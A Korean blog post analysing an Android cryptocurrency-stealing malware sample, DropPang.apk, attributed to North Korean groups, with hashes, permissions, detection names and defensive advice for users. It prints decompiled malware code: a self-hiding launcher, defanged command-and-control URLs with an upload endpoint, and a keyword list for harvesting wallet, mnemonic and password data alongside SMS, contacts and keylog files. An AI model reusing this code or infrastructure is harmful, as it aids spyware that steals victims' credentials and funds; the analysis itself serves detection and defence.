꿈을꾸는 파랑새

오늘은 북한에서 만든 것으로 추정되는 가상화폐 훔치는 악성코드-DropPang.apk(드롭팡) 에 대해 간단하게 알아보는 시간을 가져 보겠습니다. 일단 유튜브에서 뉴스를 보니까 가상화폐를 탈취하는 악성코드 유포한다고 하기에 해당 악성코드 샘플을 구해서 한번 간단하게 분석을 하는 시간을 가져 보겠습니다. 최근 북한은 대북제재로 외화벌이가 막힌 북한이 해커부대를 동원해 가상화폐를 탈취를 다른 국가들을 상대로 공격해서 가상화폐를 훔치고 그리고 그것을 외화벌이 수단으로 사용하고 있습니다. 일단 북한에서 해커 조직이라고 하면 김수키(Kimsuky=탈륨(Thallium),라자루스(Lazarus)가 있습니다.
APT 조직이 지난 2017년 시스코 탈로스를 통해 알려진 코니 조직과 같은 C2 인프라 이용을 해서 가상 화폐를 훔치는 수법을 사용하고 있으면 김수키(Kimsuky=탈륨(Thallium)는 지난 2015년 도에서는 한수원 자료 유출한 원전반대그룹 이름으로 2015년12월25일에는 한국 원자력 발전소(핵발전소)를 파괴를 하겠다고 했던 그룹입니다.

일단 해당 악성코드는 바이러스 토탈에서 검색을 해보면 작년 Dec 28, 2020(2020년12월 28)에 샘플이 발견이 된 것을 확인할 수가 있었습니다. 그리고 해당 APK을 분해? 를 해보면 수정한 날짜는 2020년 12월5일쯤에 수정이 된 것을 확인할 수가 있습니다.
일단 기본적으로 해쉬값 부터 보겠습니다.
파일명: DropPang.apk
사이즈: 276,425 Bytes
CRC32: 65968ba6
MD5:a316a26ceb59ea5a682f5d8687e06ca7
SHA-1:a8d8890d901047f8ff505f22f172832c06f72d16
SHA-256:0a95154943ae08be64a564c61d1f64f31ca4b9c32d69c2871cdaeb883694cf45

가상화폐 탈취 하는 악성코드 DropPang(드롭팡) 안드로이드 권한
가상화폐 탈취 하는 악성코드 DropPang(드롭팡) 안드로이드 권한

입니다. 그리고 안드로이드 권한을 한번 보겠습니다.
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.INTERNET
android.permission.READ_PHONE_STATE
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.READ_SMS
android.permission.WRITE_SMS
android.permission.READ_CONTACTS

android.permission.GET_ACCOUNTS
android.permission.RECORD_AUDIO
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.CALL_PHONE
android.permission.PROCESS_OUTGOING_CALLS

DropPang(드롭팡) 악성코드 에 포함 되어져 있는 주소
DropPang(드롭팡) 악성코드 에 포함 되어져 있는 주소

총 15개로 구성이 돼 있고 기본적으로 뭐~보면 문자 보내고 문자 읽고 문자 쓰고 녹음 기능, 외부 저장소(옛날 T-Flash이라고 부르던 물건인 마이크로 SD(Micro SD))에 접근을 하고 전화 걸고 PROCESS_OUTGOING_CALLS : 통화 대상 확인 및 통화 제어 기능에다가 스마트폰 부팅을 인식할 수가 있는 기능, GET_ACCOUNTS처럼 스마트폰 계정 서비스에 접근 가능 즉 구글 같은 계정에 접근 가능하다는 말입니다.

DropPang(드롭팡) 악성코드 수정 날짜
DropPang(드롭팡) 악성코드 수정 날짜

즉 스마트폰의 민감한 개인정보에 접근하는 것을 볼 수가 있습니다. 그리고 포함이 돼 있는 주소는 다음과 같습니다. Byte code-Viewer로 보면 다음과 같은 주소가 포함된 것을 확인할 수가 있습니다.
com.haw.C0430a:hxxp://mail.summitz(.)com/index

com.haw.C0431b:hxxp://naversecurity(.)us/
입니다.
com.haw.C0430a 에서는 다음과 같이 돼 있습니다.

DropPang(드롭팡) com.haw.C0431b
DropPang(드롭팡) com.haw.C0431b

package com.haw;

import android.content.Intent;
import android.net.Uri;

/* renamed from: com.haw.a */
class C0430a implements Runnable {

    /* renamed from: a */
    final /* synthetic */ MainActivity f1265a;

    C0430a(MainActivity mainActivity) {
        this.f1265a = mainActivity;
    }

    public final void run() {
        this.f1265a.f1264a++;
        if (this.f1265a.f1264a == 6) {
            Intent data = new Intent("android.intent.action.VIEW").setData(Uri.parse("hxxp://mail(.)summitz.com/index/"));
            data.addFlags(268435456);
            this.f1265a.startActivity(data);
            this.f1265a.finish();
        }

이며 com.haw.C0431b 에서는 다음과 같이 돼 있습니다.

package com.haw;

/* renamed from: com.haw.b */
public class C0431b {

    /* renamed from: a */
    public static String f1266a = "hXXp://naversecurity(.)us/";

    /* renamed from: b */
    public static String f1267b = (String.valueOf(f1266a) + "haw/");

    /* renamed from: c */
    public static String f1268c = (String.valueOf(f1267b) + "files/To_");

    /* renamed from: d */
    public static String f1269d = (String.valueOf(f1267b) + "up.php");
}

그리고 2021-05-02 16:19:30 UTC 기준으로 바이러스 토탈에서 탐지되고 있는 보안 업체(백신 업체)들은 다음과 같습니다.
Ad-Aware:Trojan.GenericKD.35919585
AegisLab:Trojan.AndroidOS.Konni.F!c
AhnLab-V3:Trojan/Android.Konni.999163
Alibaba:Backdoor:Android/Konbkdr.acbae6a2
Arcabit:Trojan.Generic.D22416E1
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/SpyAgent.FHQM.Gen

BitDefender:Trojan.GenericKD.35919585
BitDefenderFalx:Android.Riskware.HiddenApp.LA
CAT-QuickHeal:Android.Konni.A4d22
Cynet:Malicious (score: 99)
Cyren:Trojan.FADN-5
DrWeb:Android.Backdoor.820.origin
Emsisoft:Trojan.GenericKD.35919585 (B)
eScan:Trojan.GenericKD.35919585
ESET-NOD32:A Variant Of Android/Koni.B
FireEye:Trojan.GenericKD.35919585
GData:Trojan.GenericKD.35919585
Ikarus:Trojan.AndroidOS.Koni
K7GW:Trojan ( 005731df1 )
Kaspersky:HEUR:Backdoor.AndroidOS.Konni.a
MAX:Malware (ai Score=100)
McAfee:Artemis!A316A26CEB59
McAfee-GW-Edition:Artemis!Trojan
Microsoft:Backdoor:AndroidOS/Konbkdr.A!MTB
NANO-Antivirus:Trojan.Android.Konni.ildcic
Sophos:Andr/Konni-F
Symantec Mobile Insight:AppRisk:Generisk
TrendMicro:TROJ_FRS.0NA103LF20
TrendMicro-HouseCall:TROJ_FRS.0NA103LF20
Trustlook:Android.Malware.Trojan
대부분 탐지를 하고 있거나 일부 백신업체(보안 업체)에서는 사전방역 기능을 통해서 탐지하는 것을 확인할 수가 있습니다.
com.haw.C0434e 부분에서는 다음과 같은 가상화폐 관련 단어들인 13가지 단어 포함이 돼 있는 것을 확인할 수가 있습니다.

package com.haw;

import android.content.Context;

public final class e {
  public static String a = "init.txt";

  public static String b = "time.txt";

  public static String c = "user.txt";

  public static String d = "account.txt";

  public static String e = "app.txt";

  public static String f = "contact.txt";

  public static String g = "sms_all.txt";

  public static String h = "sdcard.txt";

  public static String i = "sms_new.txt";

  public static String j = "keylog.txt";

   public static String[] k = new String[] { 
      "이더, "coin", "지갑, "코인, "아이디, "비번, "wallet", "월릿, "blockchain", "token", 
      "토큰, "니모닉, "월렛 };

  public static String a(Context paramContext) {
    return String.valueOf(paramContext.getFilesDir().getAbsolutePath()) + "/";
  }
}

DropPang(드롭팡) 악성코드 가상화폐 관련 단어
DropPang(드롭팡) 악성코드 가상화폐 관련 단어

보시면 이더는 이더리움(ETH)를 이야기하는 것 같고 coin은 비트코인(BTC)등과 같이 coin(코인)으로 시작을 하는 가상화폐, 백업 문구(니모닉)그리고 사용자 아이디와 비번에 훔치기 위한 단어들도 있는 것을 볼 수가 있습니다. 그리고 CERT.RSA 부분을 디코딩을 해보면 다음과 같은 정보가 있는 것을 확인할 수가 있습니다.

DropPang(드롭팡) 악성코드 CERT.RSA
DropPang(드롭팡) 악성코드 CERT.RSA

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 2051402489 (0x7a45eaf9)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=11, ST=tokyo, L=tokyo, O=university, OU=konkuk, CN=andrei
        Validity
            Not Before: Dec  5 16:47:52 2020 GMT
            Not After : Dec  3 16:47:52 2030 GMT
        Subject: C=11, ST=tokyo, L=tokyo, O=university, OU=konkuk, CN=andrei
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)

이 구성이 돼 있는 것을 확인할 수가 있습니다.
com.haw.MainActivity 에서 다음과 같은 코드가 있는 것을 볼 수가 있습니다.

DropPang(드롭팡) 악성코드 com.haw.MainActivity
DropPang(드롭팡) 악성코드 com.haw.MainActivity

package com.haw;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;

public class MainActivity extends Activity {

    /* renamed from: a */
    public int f1264a = 0;

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        Intent intent = new Intent(this, hawservice.class);
        getPackageManager().setComponentEnabledSetting(new ComponentName("com.haw", "com.haw.MainActivity"), 2, 1);
        if (getSharedPreferences("worrior", 0).getString("kungpu", "0").equals("0")) {
            String valueOf = String.valueOf(Math.random());
            String substring = valueOf.substring(valueOf.indexOf(".") + 1);
            SharedPreferences.Editor edit = getSharedPreferences("worrior", 0).edit();
            edit.putString("kungpu", substring);
            edit.commit();
        }
        startService(intent);
        Executors.newSingleThreadScheduledExecutor().scheduleAtFixedRate(new C0430a(this), 0, 1500, TimeUnit.MILLISECONDS);
    }
}

보시면 worrior,kungpu 가 있는데 아마도 kungpu(쿵푸)에 관심이 많은 것 같고 worrior는 아마도 warrior 를 오타를 한 것이 아닐까 개인적으로 생각합니다.
그리고 com.haw.hawservice 에 보면 다음과 같은 코드가 있습니다.

DropPang(드롭팡) 악성코드 제작자 쿵푸 사랑
DropPang(드롭팡) 악성코드 제작자 쿵푸 사랑

this.f1323ab = getSharedPreferences("worrior", 0).getString("kungpu", "0");
        if (this.f1320Z == null) {
            this.f1320Z = AccountManager.get(getApplicationContext());
        }
        if (this.f1316V == null) {
            this.f1316V = getPackageManager();
        }
        if (this.f1317W == null) {
            this.f1317W = SmsManager.getDefault();
        }
        if (this.f1318X == null) {
            this.f1318X = getContentResolver();
        }
        if (this.f1319Y == null) {
            this.f1319Y = (PowerManager) getSystemService("power");
        }
        if (this.f1322aa == null) {
            this.f1322aa = (AudioManager) getSystemService("audio");
        }
        if (!new File(String.valueOf(C0434e.m2045a(this)) + C0434e.f1272a).exists()) {
            f1288m = true;
            f1289n = true;
            f1290o = true;
            f1291p = true;
            f1292q = true;
            f1293r = true;
            f1294s = true;
            new C0435f();
            C0435f.m2047a(this, C0434e.f1272a, "I will learn KungPu!");

이라는 부분에서도 worrior,kungpu 라는 단어가 보이며 I will learn KungPu! 이라는 단어가 있는 것 보니 해당 악성코드 만든 사람은 가상화폐 이외에도 쿵후에 관심이 많이 있는 것을 볼 수가 있습니다. 이런 악성코드에 감염되기 싫으면 기본적으로 인지도가 높은 보안 업체에서 만든 백신 앱을 설치를 해서 사용을 하기 권장하면 그리고 외부에서 apk이라는 파일을 다운로드 해서 설치를 하지 말아야 합니다.

물론 안드로이드 스마트폰에서는 기본적으로 외부앱 에서 다운로드 된 apk 파일을 설치하려고 하면 기본적으로 경고 와 함께 너 이 앱 설치하면 개인정보 털리도 우리 책임 없다는 경고 메시지를 볼 수가 있습니다. 이런 메시지를 무시하지 말았으면 하고 그리고 공식 스토어(구글 플레이 스토어,갤럭시 스토어,원스토어등)등에서만 검증된 앱을 설치를 하시는 것이 안전하게 스마트폰을 사용하는 방법입니다.

그리고 이메일 같은 것에 포함된 파일을 굳이 실행을 싶다고 하면 가능하면 가상환경에서 열어 보는 방법이 있고 혹은 링크가 있다고 하면 http로 주소가 돼 있으면 그냥 99.999%는 해커가 공격하기 위해서 만든 피싱 사이트 이므로 가능하면 해당 부분에서 로그인하는 행동을 하면 안 되고 그리고 문서도 마찬가지로 악성코드가 동작합니다. 특히 정부, 공공기관으로 속여서 예를 들어서 제목이 고소 위임장, 한반도 정세 전망, 대북 분야에 종사하시는 분들 탈북단체 및 정치인 등을 공격하기 위해 서서 안보, 고소장 등으로 위장돼 있으면 정부 및 공공기관을 해킹하기 위한 떡밥 용 문서(PDF 포함)입니다. 그리고 이런 악성코드 및 피싱 사이트들은 계정 탈취가 진행되고 악의적인 목적이 있는 사람은 이메일에 무단 로그인하는데 한국 이메일 서비스는 해외 로그인을 차단하는 경우가 많아서 한국 내 VPN 등으로 공격하고 있습니다.

그리고 POP3/IMAP 이메일 수신 프로토콜 기능을 통해 외부에서 수신되는 이메일을 은밀히 전달받아 노출되기 전까지 수신되는 이메일을 원격에서 모두 볼 수가 있으므로 자신이 사용하는 이메일 환경 설정에 POP3/IMAP 사용 여부를 확인하고 자신이 설정한 것이 아니라면 비활성화 후 암호를 변경하는 과정이 필요합니다.
피싱 공격에 암호가 노출된 경우 반드시 POP3/IMAP 사용중지와 암호 변경을 함께 진행해야 더욱 안전하며 변경 이전, 이후 설정한 암호 모두가 악의적인 목적을 가진 사람에 게 함께 유출되니 기존에 쓰지 않았던 새로운 암호로 변경해야 합니다.

실제 사례로 대북분야에 종사하는 인물을 대상으로 공격하는 국내 포털 업체 네이버 사칭 공격이 있으며 발신지 주소와 피싱 서버의 도메인 주소가 비슷하게 쓰였는데 발신지는 조작된 가짜 도메인입니다. 즉 최소 기본적으로 백신 프로그램 및 백신앱은 공식력 있는 보안 업체를 이용하는 것이 가장 안전하면 가상 환경을 만들어 주는 프로그램들을 이용하시는 것도 좋은 방법입니다. 즉 쓸데없이 개인정보를 너무 요구하는 것은 100%입니다. 자신이 가상화폐 또는 대북 관련 등 제목으로 위장하고 있으니 항상 조심하시길 바랍니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band